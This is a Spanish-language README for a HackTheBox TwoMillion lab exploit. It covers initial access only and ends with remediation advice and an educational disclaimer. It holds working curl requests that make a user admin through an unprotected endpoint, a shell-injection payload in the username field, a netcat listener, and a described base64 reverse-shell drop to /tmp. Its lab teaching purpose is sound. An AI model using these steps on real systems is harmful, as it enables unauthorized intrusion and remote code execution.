Importante: Esto NO es un writeup completo de la máquina TwoMillion.
Cubre exclusivamente la primera parte: cómo obtener una reverse shell una vez que se tiene acceso a una cuenta en la máquina.
Para el post-explotación y escalada a root, consulta otros writeups.
Exploit para la máquina TwoMillion de HackTheBox. La máquina simula una aplicación web con dos vulnerabilidades encadenadas que permiten pasar de una cuenta básica a ejecución remota de comandos (RCE) como www-data.
- Una cuenta válida en la máquina target
- Conectividad con el target (HTB VPN)
- Python 3 +
requests - Un listener listo para recibir la reverse shell (
nc -lvnp <puerto>)
Si estás empezando la máquina desde cero y no tienes una cuenta, la API de invitación te permite generar un código de registro:
La aplicación expone un endpoint de API:
POST /api/v1/invite/generatecurl -s -X POST 'http://2million.htb/api/v1/invite/generate' \
-H 'Content-Type: application/json'Respuesta esperada (abreviada):
{"data":{"code":"codigo-generado","format":"..."}}curl -s -X POST 'http://2million.htb/api/v1/user/register' \
-H 'Content-Type: application/json' \
-d '{"username":"usuario","password":"contraseña","passwordr":"contraseña","invitecode":"codigo-generado"}'Si todo sale bien, recibirás una respuesta con los datos del nuevo usuario.
Guarda la cookie PHPSESSID que se genera al autenticarte — la vas a necesitar.
El endpoint PUT /api/v1/admin/settings/update no verifica permisos. Cualquier usuario autenticado puede volverse administrador:
curl -s -X PUT 'http://2million.htb/api/v1/admin/settings/update' \
-H 'Cookie: PHPSESSID=TU_SESSION' \
-H 'Content-Type: application/json' \
-d '{"email":"user@mail.com","is_admin":1}'Verificar que funcionó:
curl -s 'http://2million.htb/api/v1/admin/auth' \
-H 'Cookie: PHPSESSID=TU_SESSION'
# Respuesta esperada: {"message":true}Una vez admin, el endpoint POST /api/v1/admin/vpn/generate toma el parámetro username y lo concatena directamente en un comando shell sin sanitizarlo. Esto permite inyectar comandos arbitrarios usando la sintaxis $(comando) de las shells POSIX.
Por ejemplo, si envías:
{"username": "test$(id)"}El servidor ejecuta algo como:
/usr/bin/gen_vpn --username test$(id) > /tmp/vpn/test.ovpnY el resultado de id se incrusta en la salida.
El archivo exploit.py automatiza el proceso en dos pasos:
Inyecta un comando que codifica un script reverse shell en base64 y lo escribe a /tmp/r.py en el target usando echo ... | base64 -d (evita problemas con comillas anidadas).
Inyecta un segundo comando que ejecuta el script recién escrito. Esto inicia una conexión de vuelta a tu listener.
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 exploit.py <LHOST> <LPORT> <PHPSESSID> [TARGET_URL]| Parámetro | Descripción | Default |
|---|---|---|
LHOST |
IP de tu máquina atacante (HTB VPN) | — |
LPORT |
Puerto donde escucha tu listener | — |
PHPSESSID |
Cookie de sesión (debe tener permisos admin) | — |
TARGET_URL |
URL base del target | http://2million.htb |
nc -lvnp 4444 &
python3 exploit.py 10.10.14.x 4444 abc123def456ghiLa raíz del problema es que el parámetro username se pasa directamente a un comando shell sin filtrar ni escapar. Cualquier carácter especial de shell ($, `, |, ;, &) se interpreta literalmente.
En este caso se usa $() porque:
- No necesita comillas adicionales que puedan romper el JSON
- La salida del comando se captura y devuelve en la respuesta HTTP
- Permite comandos arbitrariamente largos (el payload base64 se inyecta completo)
Para corregir esta vulnerabilidad en una aplicación real:
- Nunca concatenes entrada de usuario en comandos shell
- Usa
escapeshellarg()o el equivalente en tu lenguaje - Valida el formato de entrada (regex: solo alfanumérico + guiones)
- Implementa autorización en cada endpoint admin
Este material es exclusivamente con fines educativos y para entornos controlados como HackTheBox. No lo uses contra sistemas sin autorización explícita.